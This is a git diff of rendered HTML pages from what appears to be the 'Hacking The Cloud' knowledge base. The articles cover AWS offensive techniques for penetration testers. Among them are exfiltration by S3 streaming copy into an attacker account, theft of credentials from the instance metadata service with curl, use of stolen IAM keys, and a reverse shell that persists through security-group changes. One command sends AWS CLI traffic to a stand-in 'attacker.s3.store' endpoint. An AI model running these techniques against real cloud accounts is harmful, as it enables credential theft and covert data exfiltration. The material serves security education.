      \ No newline at end of file diff --git a/aws/exploitation/s3_streaming_copy/index.html b/aws/exploitation/s3_streaming_copy/index.html index 2f0546266..6faecd68d 100644 --- a/aws/exploitation/s3_streaming_copy/index.html +++ b/aws/exploitation/s3_streaming_copy/index.html @@ -1,4 +1,4 @@ - S3 Streaming Copy - Hacking The Cloud

      Article by Houston Hopkins

      S3 Streaming Copy

      Shout Out to Janardhan Prabhakara for showing me this all those years ago!

      Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.

      Why would anyone use this?

      In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands.

      If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected. However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.

      When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail. The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.

      When using the aws-cli utilize the --profile to specify the IAM context profile from the .aws/credentials file.

      Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials

      [attacker]
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Houston Hopkins

      S3 Streaming Copy

      Shout Out to Janardhan Prabhakara for showing me this all those years ago!

      Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.

      Why would anyone use this?

      In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands.

      If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected. However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.

      When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail. The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.

      When using the aws-cli utilize the --profile to specify the IAM context profile from the .aws/credentials file.

      Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials

      [attacker]
       aws_access_key_id = <attacker_key_id>
       aws_secret_access_key = <attacker_secret_key>
       

      Step 2: Create a profile for the VICTIM credentials. These are the keys attained with access to the victim's AWS enviornment.

      Note

      This step is optional if using a shell on a VICTIM EC2, running an EC2 instance profile that has the permissions to test.

      [victim]
      diff --git a/aws/general-knowledge/aws_cli_tips_and_tricks/index.html b/aws/general-knowledge/aws_cli_tips_and_tricks/index.html
      index f3c556a0a..1d93e2a18 100644
      --- a/aws/general-knowledge/aws_cli_tips_and_tricks/index.html
      +++ b/aws/general-knowledge/aws_cli_tips_and_tricks/index.html
      @@ -1,4 +1,4 @@
      - AWS CLI Tips and Tricks - Hacking The Cloud         

      Article by Nick Frichette

      AWS CLI Tips and Tricks

      Standard Input/Output Redirection with "-"

      Warning

      The following examples have been tested in bash and zsh. Functionality may vary in other shells. If you find these commands work in additional environments, please open a pull request to update this note.

      When working in an AWS environment, you may frequently need to view the contents of objects stored in S3. The traditional approach involves a two-step process: using s3:cp to download the file to your local machine, then using cat or a similar tool to view it. While effective, this method can clutter your local system with temporary files and may be slower than necessary.

      Fortunately, the AWS CLI allows us to simplify this process by using the - character which represents standard input/output (STDIN/STDOUT). Using -, you can read or write file content directly from or to S3 without creating local copies.

      Reading from S3

      To read the contents of an object stored in S3 without having to download it first, use the following command:

      aws s3 cp s3://bucket-name/object-key -
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      AWS CLI Tips and Tricks

      Standard Input/Output Redirection with "-"

      Warning

      The following examples have been tested in bash and zsh. Functionality may vary in other shells. If you find these commands work in additional environments, please open a pull request to update this note.

      When working in an AWS environment, you may frequently need to view the contents of objects stored in S3. The traditional approach involves a two-step process: using s3:cp to download the file to your local machine, then using cat or a similar tool to view it. While effective, this method can clutter your local system with temporary files and may be slower than necessary.

      Fortunately, the AWS CLI allows us to simplify this process by using the - character which represents standard input/output (STDIN/STDOUT). Using -, you can read or write file content directly from or to S3 without creating local copies.

      Reading from S3

      To read the contents of an object stored in S3 without having to download it first, use the following command:

      aws s3 cp s3://bucket-name/object-key -
       

      Example:

      nick@host:~$ aws s3 cp s3://hackingthecloud/content -
       hacking the cloud
       

      Writing to S3

      To upload content directly to an object in S3 without a temporary file, use this command:

      echo "hacking the cloud" | aws s3 cp - s3://bucket-name/object-key
      diff --git a/aws/general-knowledge/aws_organizations_defaults/index.html b/aws/general-knowledge/aws_organizations_defaults/index.html
      index 101496eb3..1cb17d8d8 100644
      --- a/aws/general-knowledge/aws_organizations_defaults/index.html
      +++ b/aws/general-knowledge/aws_organizations_defaults/index.html
      @@ -1,4 +1,4 @@
      - AWS Organizations Defaults & Pivoting - Hacking The Cloud         

      Article by Scott Weston & Nick Frichette

      AWS Organizations Defaults & Pivoting

      Almost all mid-to-large sized AWS environments make use of multi-account architecture. Using multiple AWS accounts offers a number of benefits and is considered a best practice. To help organize and manage those accounts, AWS offers a service called AWS Organizations.

      Due to the ubiquity of AWS Organizations, it is important for Penetration Testers and Red Teamers to familiarize themselves with its default configuration.

      When an account creates an organization it becomes the management account of that organization. Each organization has one management account, and this account effectively "owns" the organization.

      Creating Member Accounts: Default OrganizationAccountAccessRole

      When an account is created through AWS Organizations, it is considered a member of the organization (hence, member account). As a part of this account creation process, AWS Organizations will create a role in the member account called OrganizationAccountAccessRole. This role is created in each member account.

      By default, the OrganizationAccountAccessRole has the AdministratorAccess policy attached to it, giving the role complete control over the member account. In addition, the default trust policy on the role is as shown below where 000000000000 is the account ID of the management account.

      {
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Scott Weston & Nick Frichette

      AWS Organizations Defaults & Pivoting

      Almost all mid-to-large sized AWS environments make use of multi-account architecture. Using multiple AWS accounts offers a number of benefits and is considered a best practice. To help organize and manage those accounts, AWS offers a service called AWS Organizations.

      Due to the ubiquity of AWS Organizations, it is important for Penetration Testers and Red Teamers to familiarize themselves with its default configuration.

      When an account creates an organization it becomes the management account of that organization. Each organization has one management account, and this account effectively "owns" the organization.

      Creating Member Accounts: Default OrganizationAccountAccessRole

      When an account is created through AWS Organizations, it is considered a member of the organization (hence, member account). As a part of this account creation process, AWS Organizations will create a role in the member account called OrganizationAccountAccessRole. This role is created in each member account.

      By default, the OrganizationAccountAccessRole has the AdministratorAccess policy attached to it, giving the role complete control over the member account. In addition, the default trust policy on the role is as shown below where 000000000000 is the account ID of the management account.

      {
           "Version": "2012-10-17",
           "Statement": [
               {
      diff --git a/aws/general-knowledge/block-expensive-actions-with-scps/index.html b/aws/general-knowledge/block-expensive-actions-with-scps/index.html
      index b3f142264..a3ad0d24d 100644
      --- a/aws/general-knowledge/block-expensive-actions-with-scps/index.html
      +++ b/aws/general-knowledge/block-expensive-actions-with-scps/index.html
      @@ -1,4 +1,4 @@
      - Prevent Expensive AWS API Actions with SCPs - Hacking The Cloud         

      Article by Nick Frichette

      Prevent Expensive AWS API Actions with SCPs

      An ever-present danger when using AWS is accidentally making an API call that could cost you thousands of dollars. Speaking from experience, this can be a remarkably stressful time. To mitigate this risk, implementing guardrails on your account is essential. One way to do this is to block API operations which are known to be expensive. Operations like signing up for certain AWS services or creating non-deletable resources can lead to high costs.

      Understanding Service Control Policies

      To help prevent billing headaches when learning about AWS security or conducting research we can use a Service Control Policy (SCP). An SCP is a type of organizational policy which restricts what API calls can be made by member accounts in an AWS Organization. Thanks to the work of Ian McKay, and other community members, we have a list of AWS API operations which are prohibitively expensive and should be avoided.

      To implement the policy below, refer to the AWS documentation for detailed instructions on attaching and managing SCPs.

      Warning

      While this SCP provides a significant safeguard, it is not entirely foolproof. You can still incur high charges if not careful. This policy only blocks known problematic API calls. Always exercise caution when creating or configuring resources in AWS.

      Safeguard SCP

      {
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Prevent Expensive AWS API Actions with SCPs

      An ever-present danger when using AWS is accidentally making an API call that could cost you thousands of dollars. Speaking from experience, this can be a remarkably stressful time. To mitigate this risk, implementing guardrails on your account is essential. One way to do this is to block API operations which are known to be expensive. Operations like signing up for certain AWS services or creating non-deletable resources can lead to high costs.

      Understanding Service Control Policies

      To help prevent billing headaches when learning about AWS security or conducting research we can use a Service Control Policy (SCP). An SCP is a type of organizational policy which restricts what API calls can be made by member accounts in an AWS Organization. Thanks to the work of Ian McKay, and other community members, we have a list of AWS API operations which are prohibitively expensive and should be avoided.

      To implement the policy below, refer to the AWS documentation for detailed instructions on attaching and managing SCPs.

      Warning

      While this SCP provides a significant safeguard, it is not entirely foolproof. You can still incur high charges if not careful. This policy only blocks known problematic API calls. Always exercise caution when creating or configuring resources in AWS.

      Safeguard SCP

      {
         "Version": "2012-10-17",
         "Statement": [
           {
      diff --git a/aws/general-knowledge/connection-tracking/index.html b/aws/general-knowledge/connection-tracking/index.html
      index e843283db..07c6a7794 100644
      --- a/aws/general-knowledge/connection-tracking/index.html
      +++ b/aws/general-knowledge/connection-tracking/index.html
      @@ -1,4 +1,4 @@
      - Connection Tracking - Hacking The Cloud         

      Article by Nick Frichette

      Connection Tracking

      Security Groups in AWS have an interesting capability known as Connection Tracking. This allows the security groups to track information about the network traffic and allow/deny that traffic based on the Security Group rules.

      There are two kinds of traffic flows; tracked and untracked. For example the AWS documentation mentions a tracked flow as the following, "if you initiate an ICMP ping command to your instance from your home computer, and your inbound security group rules allow ICMP traffic, information about the connection (including the port information) is tracked. Response traffic from the instance for the ping command is not tracked as a new request, but rather as an established connection and is allowed to flow out of the instance, even if your outbound security group rules restrict outbound ICMP traffic".

      An interesting side effect of this is that tracked connections are allowed to persist, even after a Security Group rule change.

      Let's take a simple example: There is an EC2 instance that runs a web application. This EC2 instance has a simple Security Group that allows SSH, port 80, and port 443 inbound, and allows all traffic outbound. This EC2 instance is in a public subnet and is internet facing.

      Inbound SG

      While performing a penetration test you've gained command execution on this EC2 instance. In doing so, you pop a simple reverse shell. You work your magic on the box before eventually triggering an alert to our friendly neighborhood defender. They follow their runbooks which may borrow from the official AWS whitepaper on incident response.

      As part of the "Isolate" step, the typical goal is to isolate the affected EC2 instance with either a restrictive Security Group or an explicit Deny NACL. The slight problem with this is that NACLs affect the entire subnet, and if you are operating in a space with a ton of EC2 instances the defender is unlikely to want to cause an outage for all of them. As a result, swapping the Security Group is the recommended procedure.

      The defender switches the Security Group from the web and ssh one, to one that does not allow anything inbound or outbound.

      Change Security Group

      The beauty of connection tracking is that because you've already established a connection with your shell, it will persist. So long as you ran the shell before the SG change, you can continue scouring the box and looking for other vulnerabilities.

      whoami

      To be clear, if the restrictive security group doesn't allow for any outbound rules we won't be able to communicate out (and if you're using a beaconing C2 that will not function).

      No Outbound

      Article by Nick Frichette

      Connection Tracking

      Security Groups in AWS have an interesting capability known as Connection Tracking. This allows the security groups to track information about the network traffic and allow/deny that traffic based on the Security Group rules.

      There are two kinds of traffic flows; tracked and untracked. For example the AWS documentation mentions a tracked flow as the following, "if you initiate an ICMP ping command to your instance from your home computer, and your inbound security group rules allow ICMP traffic, information about the connection (including the port information) is tracked. Response traffic from the instance for the ping command is not tracked as a new request, but rather as an established connection and is allowed to flow out of the instance, even if your outbound security group rules restrict outbound ICMP traffic".

      An interesting side effect of this is that tracked connections are allowed to persist, even after a Security Group rule change.

      Let's take a simple example: There is an EC2 instance that runs a web application. This EC2 instance has a simple Security Group that allows SSH, port 80, and port 443 inbound, and allows all traffic outbound. This EC2 instance is in a public subnet and is internet facing.

      Inbound SG

      While performing a penetration test you've gained command execution on this EC2 instance. In doing so, you pop a simple reverse shell. You work your magic on the box before eventually triggering an alert to our friendly neighborhood defender. They follow their runbooks which may borrow from the official AWS whitepaper on incident response.

      As part of the "Isolate" step, the typical goal is to isolate the affected EC2 instance with either a restrictive Security Group or an explicit Deny NACL. The slight problem with this is that NACLs affect the entire subnet, and if you are operating in a space with a ton of EC2 instances the defender is unlikely to want to cause an outage for all of them. As a result, swapping the Security Group is the recommended procedure.

      The defender switches the Security Group from the web and ssh one, to one that does not allow anything inbound or outbound.

      Change Security Group

      The beauty of connection tracking is that because you've already established a connection with your shell, it will persist. So long as you ran the shell before the SG change, you can continue scouring the box and looking for other vulnerabilities.

      whoami

      To be clear, if the restrictive security group doesn't allow for any outbound rules we won't be able to communicate out (and if you're using a beaconing C2 that will not function).

      No Outbound

      \ No newline at end of file diff --git a/aws/general-knowledge/iam-key-identifiers/index.html b/aws/general-knowledge/iam-key-identifiers/index.html index f3198e01a..0e8fab651 100644 --- a/aws/general-knowledge/iam-key-identifiers/index.html +++ b/aws/general-knowledge/iam-key-identifiers/index.html @@ -1,4 +1,4 @@ - IAM unique identifiers - Hacking The Cloud

      Article by Nick Frichette

      IAM ID Identifiers

      In AWS, different resources are assigned a "unique identifier". This identifier is a unique, 21 character value. The first four characters of the identifier are a prefix to denote the type of resource it represents.

      The full list of prefixes can be found below.

      Prefix Entity Type
      ABIA AWS STS service bearer token
      ACCA Context-specific credential
      AGPA Group
      AIDA IAM user
      AIPA Amazon EC2 instance profile
      AKIA Access key
      ANPA Managed policy
      ANVA Version in a managed policy
      APKA Public key
      AROA Role
      ASCA Certificate
      ASIA Temporary (AWS STS) keys

      From a security perspective, there are 2 primary prefixes which are important to know, AKIA and ASIA.

      AKIA

      IAM credentials with the AKIA prefix belong to long lived access keys. These are associated with IAM users. These credentials can potentially be exposed and used by attackers. Because they do not expire by default, they serve as an excellent vehicle to gain initial access to an AWS environment.

      ASIA

      IAM credentials with the ASIA prefix belong to short lived access keys which were generated using STS. These credentials last for a limited time. In the event you come across an access key prefixed with ASIA, a secret key, and a session token, make use of them quickly before they expire.

      Article by Nick Frichette

      IAM ID Identifiers

      In AWS, different resources are assigned a "unique identifier". This identifier is a unique, 21 character value. The first four characters of the identifier are a prefix to denote the type of resource it represents.

      The full list of prefixes can be found below.

      Prefix Entity Type
      ABIA AWS STS service bearer token
      ACCA Context-specific credential
      AGPA Group
      AIDA IAM user
      AIPA Amazon EC2 instance profile
      AKIA Access key
      ANPA Managed policy
      ANVA Version in a managed policy
      APKA Public key
      AROA Role
      ASCA Certificate
      ASIA Temporary (AWS STS) keys

      From a security perspective, there are 2 primary prefixes which are important to know, AKIA and ASIA.

      AKIA

      IAM credentials with the AKIA prefix belong to long lived access keys. These are associated with IAM users. These credentials can potentially be exposed and used by attackers. Because they do not expire by default, they serve as an excellent vehicle to gain initial access to an AWS environment.

      ASIA

      IAM credentials with the ASIA prefix belong to short lived access keys which were generated using STS. These credentials last for a limited time. In the event you come across an access key prefixed with ASIA, a secret key, and a session token, make use of them quickly before they expire.

      \ No newline at end of file diff --git a/aws/general-knowledge/intro_metadata_service/index.html b/aws/general-knowledge/intro_metadata_service/index.html index 3d8a8c387..8d668738c 100644 --- a/aws/general-knowledge/intro_metadata_service/index.html +++ b/aws/general-knowledge/intro_metadata_service/index.html @@ -1,4 +1,4 @@ - Introduction to the Instance Metadata Service - Hacking The Cloud

      Article by Nick Frichette

      Introduction to the Instance Metadata Service

      Every EC2 instance has access to the instance metadata service (IMDS) that contains metadata and information about that specific EC2 instance. In addition, if an IAM Role is associated with the EC2 instance, credentials for that role will be in the metadata service. Because of this, the instance metadata service is a prime target for attackers who gain access to an EC2 instance.

      How to Access the Metadata Service

      The metadata service can be accessed at http://169.254.169.254/latest/meta-data/ from the EC2 instance. Alternatively, it can also be reached via IPv6 at http://[fd00:ec2::254]/latest/meta-data/ however this only applies to Nitro EC2 instances.

      To get credentials, you will first need to make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The response to this will return the name of the IAM role associated with the credentials. You then make a subsequent request to retrieve the IAM credentials at http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/.

      IMDSv2

      Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

      user@host:~$ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Introduction to the Instance Metadata Service

      Every EC2 instance has access to the instance metadata service (IMDS) that contains metadata and information about that specific EC2 instance. In addition, if an IAM Role is associated with the EC2 instance, credentials for that role will be in the metadata service. Because of this, the instance metadata service is a prime target for attackers who gain access to an EC2 instance.

      How to Access the Metadata Service

      The metadata service can be accessed at http://169.254.169.254/latest/meta-data/ from the EC2 instance. Alternatively, it can also be reached via IPv6 at http://[fd00:ec2::254]/latest/meta-data/ however this only applies to Nitro EC2 instances.

      To get credentials, you will first need to make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The response to this will return the name of the IAM role associated with the credentials. You then make a subsequent request to retrieve the IAM credentials at http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/.

      IMDSv2

      Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

      user@host:~$ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
       user@host:~$ curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/
       

      The Security Benefits of IMDSv2

      IMDSv2 offers a number of security improvements over the original. Wherever possible, IMDSv2 should be enforced over the original metadata service. These improvements take the following form:

      Session Authentication: In order to retrieve information from the metadata service a session must be created by sending a HTTP PUT request to retrieve a token value. After this, the token must be used for all subsequent requests. This mechanism effectively mitigates traditional Server Side Request Forgery attacks, as an attacker is unlikely to be able to send a PUT request.

      Blocks X-Forwarded-For Header: IMDSv2 will block requests to fetch a token that include the X-Forwarded-For header. This is to prevent misconfigured reverse proxies from being able to access it.

      TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to "1". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.

      Note

      While the default configuration of IMDSv2 will prevent a Docker container from being able to reach the metadata service, this can be configured via the "hop limit."

      What Info the Metadata Service Contains

      The following information was pulled from here.

      Endpoint Description
      ami-id The AMI ID used to launch the instance.
      ami-launch-index If you started more than one instance at the same time, this value indicates the order in which the instance was launched. The value of the first instance launched is 0.
      ami-manifest-path The path to the AMI manifest file in Amazon S3. If you used an Amazon EBS-backed AMI to launch the instance, the returned result is unknown.
      hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0).
      iam/info If there is an IAM role associated with the instance, contains information about the last time the instance profile was updated, including the instance's LastUpdated date, InstanceProfileArn, and InstanceProfileId. Otherwise, not present.
      iam/security-credentials/role-name If there is an IAM role associated with the instance, role-name is the name of the role, and role-name contains the temporary security credentials associated with the role. Otherwise, not present.
      identity-credentials/ec2/info [Internal use only] Information about the credentials in identity-credentials/ec2/security-credentials/ec2-instance. These credentials are used by AWS features such as EC2 Instance Connect, and do not have any additional AWS API permissions or privileges beyond identifying the instance.
      instance-id The ID of this instance.
      local-hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0).
      local-ipv4 The private IPv4 address of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0).
      public-hostname The instance's public DNS. This category is only returned if the enableDnsHostnames attribute is set to true.
      public-ipv4 The public IPv4 address. If an Elastic IP address is associated with the instance, the value returned is the Elastic IP address.
      public-keys/0/openssh-key Public key. Only available if supplied at instance launch time.
      security-groups The names of the security groups applied to the instance.

      Article by Nick Frichette

      Introduction to User Data

      Instance user data is used to run commands when an EC2 instance is first started or after it is rebooted (with some configuration). Because this script is typically used to install software and configure the instance, this can be an excellent source of information for us as attackers. After gaining access to an EC2 instance you should immediately grab the user data script to gain information on the environment.

      Warning

      Although it should not be done, credentials/secrets often end up being stored in user data. From the AWS docs, "Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data."

      How to Access EC2 User Data

      User data can be accessed at http://169.254.169.254/latest/user-data/ from the EC2 instance.

      IMDSv2

      Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

      user@host:~$ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Introduction to User Data

      Instance user data is used to run commands when an EC2 instance is first started or after it is rebooted (with some configuration). Because this script is typically used to install software and configure the instance, this can be an excellent source of information for us as attackers. After gaining access to an EC2 instance you should immediately grab the user data script to gain information on the environment.

      Warning

      Although it should not be done, credentials/secrets often end up being stored in user data. From the AWS docs, "Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data."

      How to Access EC2 User Data

      User data can be accessed at http://169.254.169.254/latest/user-data/ from the EC2 instance.

      IMDSv2

      Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

      user@host:~$ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
       user@host:~$ curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/user-data/
       

      API

      Another option to gather user data is via the API. If you escalate privileges in an account, or simply compromise a user/role with sufficient permissions, you can query the AWS API to view the user data of specific EC2 instances. This requires you to know the instance-id of the target EC2 instance. To query the user data we will use the describe-instance-attribute action. The result will be base64 encoded.

      user@host:~$ aws ec2 describe-instance-attribute --instance-id i-abc123... --attribute userData
       

      Article by Nick Frichette

      Using Stolen IAM Credentials

      As a Penetration Tester or Red Teamer it is likely you will stumble into AWS IAM credentials during an assessment. The following is a step by step guide on how you can use them, things to consider, and methods to avoid detection.

      IAM Credential Characteristics

      In AWS there are typically two types of credentials you will be working with, long term (access keys) and short term.

      Long term credentials will have an access key that starts with AKIA and will be 20 characters long. In addition to the access key there will also be a secret access key which is 40 characters long. With these two keys, you can potentially make requests against the AWS API. As the name implies, these credentials have no specified lifespan and will be useable until they are intentionally disabled/deactivated. As a result, this makes them not recommended from a security perspective. Temporary security credentials are preferred.

      Temporary credentials, by comparison, will have an access key that starts with ASIA, be 20 characters long, and also have a 40 character secret key. In addition, temporary security credentials will also have a session token (sometimes referred to as a security token). The session token will be base64 encoded and quite long. With these 3 credentials combined you can potentially make requests to the AWS API. As the name implies, these credentials have a temporary lifespan that is determined when they were created. It can be as short as 15 minutes, and as long as several hours.

      Working with the Keys

      After gathering the credentials you will likely want to use them with the AWS CLI. There are a few ways to do this, however setting them as environment variables is likely the easiest.

      To do this with long term credentials, set the following environment variables.

      export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Using Stolen IAM Credentials

      As a Penetration Tester or Red Teamer it is likely you will stumble into AWS IAM credentials during an assessment. The following is a step by step guide on how you can use them, things to consider, and methods to avoid detection.

      IAM Credential Characteristics

      In AWS there are typically two types of credentials you will be working with, long term (access keys) and short term.

      Long term credentials will have an access key that starts with AKIA and will be 20 characters long. In addition to the access key there will also be a secret access key which is 40 characters long. With these two keys, you can potentially make requests against the AWS API. As the name implies, these credentials have no specified lifespan and will be useable until they are intentionally disabled/deactivated. As a result, this makes them not recommended from a security perspective. Temporary security credentials are preferred.

      Temporary credentials, by comparison, will have an access key that starts with ASIA, be 20 characters long, and also have a 40 character secret key. In addition, temporary security credentials will also have a session token (sometimes referred to as a security token). The session token will be base64 encoded and quite long. With these 3 credentials combined you can potentially make requests to the AWS API. As the name implies, these credentials have a temporary lifespan that is determined when they were created. It can be as short as 15 minutes, and as long as several hours.

      Working with the Keys

      After gathering the credentials you will likely want to use them with the AWS CLI. There are a few ways to do this, however setting them as environment variables is likely the easiest.

      To do this with long term credentials, set the following environment variables.

      export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE
       export AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM
       

      To do this with short term credentials, set the following environment variables.

      export AWS_ACCESS_KEY_ID=ASIAEXAMPLEEXAMPLEEE
       export AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM
      diff --git a/aws/post_exploitation/create_a_console_session_from_iam_credentials/index.html b/aws/post_exploitation/create_a_console_session_from_iam_credentials/index.html
      index 80c590ff8..11dfbb562 100644
      --- a/aws/post_exploitation/create_a_console_session_from_iam_credentials/index.html
      +++ b/aws/post_exploitation/create_a_console_session_from_iam_credentials/index.html
      @@ -1,4 +1,4 @@
      - Create a Console Session from IAM Credentials - Hacking The Cloud         

      Article by Nick Frichette

      Create a Console Session from IAM Credentials

      When performing an AWS assessment you will likely encounter IAM credentials. These credentials can be used with the AWS CLI or other tooling to query the AWS API.

      While this can be useful, sometimes you just can't beat clicking around the console. If you have IAM credentials, there is a way that you can spawn an AWS Console session using a tool such as aws-vault. This can make certain actions much easier rather than trying to remember the specific flag name for the AWS CLI.

      Note

      If you are using temporary IAM credentials (ASIA...), for example, from an EC2 instance, you do not need to have any special IAM permissions to do this. If you are using long-term credentials (AKIA...), you need to have either sts:GetFederationToken or sts:AssumeRole permissions. This is to generate the temporary credentials you will need.

      Tip

      If you are attempting to avoid detection, this technique is not recommended. Aside from the suspicious ConsoleLogin CloudTrail log, and the odd user-agent (Ex: Why is the IAM role associated with the CI/CD server using a Firefox user-agent string?), you will also generate a ton of CloudTrail logs.

      Using aws-vault

      To start, export the relevant environment variables for the IAM credentials you have. Next, install aws-vault.

      From here, perform the following commands depending on the type of credentials you have.

      User Credentials

      For long-term credentials (Those starting with AKIA), there is an extra step that must be completed first. You will need to generate temporary credentials to retrieve the sign in token. To do this, we will make use of sts:GetFederationToken. As an alternative, sts:AssumeRole can also be used.

      aws sts get-federation-token --name blah
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Create a Console Session from IAM Credentials

      When performing an AWS assessment you will likely encounter IAM credentials. These credentials can be used with the AWS CLI or other tooling to query the AWS API.

      While this can be useful, sometimes you just can't beat clicking around the console. If you have IAM credentials, there is a way that you can spawn an AWS Console session using a tool such as aws-vault. This can make certain actions much easier rather than trying to remember the specific flag name for the AWS CLI.

      Note

      If you are using temporary IAM credentials (ASIA...), for example, from an EC2 instance, you do not need to have any special IAM permissions to do this. If you are using long-term credentials (AKIA...), you need to have either sts:GetFederationToken or sts:AssumeRole permissions. This is to generate the temporary credentials you will need.

      Tip

      If you are attempting to avoid detection, this technique is not recommended. Aside from the suspicious ConsoleLogin CloudTrail log, and the odd user-agent (Ex: Why is the IAM role associated with the CI/CD server using a Firefox user-agent string?), you will also generate a ton of CloudTrail logs.

      Using aws-vault

      To start, export the relevant environment variables for the IAM credentials you have. Next, install aws-vault.

      From here, perform the following commands depending on the type of credentials you have.

      User Credentials

      For long-term credentials (Those starting with AKIA), there is an extra step that must be completed first. You will need to generate temporary credentials to retrieve the sign in token. To do this, we will make use of sts:GetFederationToken. As an alternative, sts:AssumeRole can also be used.

      aws sts get-federation-token --name blah
       

      This will return temporary IAM credentials that you can use with the next step.

      STS Credentials

      For short-term credentials (Those starting with ASIA), you can run the following command:

      aws-vault login
       

      Tip

      If you'd like to generate a link without it automatically opening a new tab in your browser you can use the -s flag and it will be printed to stdout.

      To learn more about custom identity broker access to the AWS Console please see the official documentation.

      Article by Nick Frichette

      Download Tools and Exfiltrate Data with the AWS CLI

      In an attempt to be stealthy, threat actors will often "live off the land", using tools and scripts already existing on a host machine outside of their intended purpose. This can help them avoid detection by blending in with their surroundings.

      In AWS environments, it is common to find servers which have the AWS CLI installed (It is included by default in Amazon Linux). This makes it an excellent choice for adversaries to move data around, avoiding more common tools like curl or Wget which may be monitored for suspicious uses.

      As seen in the wild by the SCARLETEEL threat actor, the AWS CLI can be used to download and exfiltrate data using an attacker-hosted backend. You can host an S3 compatible object store such as MinIO and then use the --endpoint-url flag to interact with that service. This makes it easy to download tools, exfiltrate compromised data and more.

      $ aws s3 ls --endpoint-url https://attacker.s3.store
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}      

      Article by Nick Frichette

      Download Tools and Exfiltrate Data with the AWS CLI

      In an attempt to be stealthy, threat actors will often "live off the land", using tools and scripts already existing on a host machine outside of their intended purpose. This can help them avoid detection by blending in with their surroundings.

      In AWS environments, it is common to find servers which have the AWS CLI installed (It is included by default in Amazon Linux). This makes it an excellent choice for adversaries to move data around, avoiding more common tools like curl or Wget which may be monitored for suspicious uses.

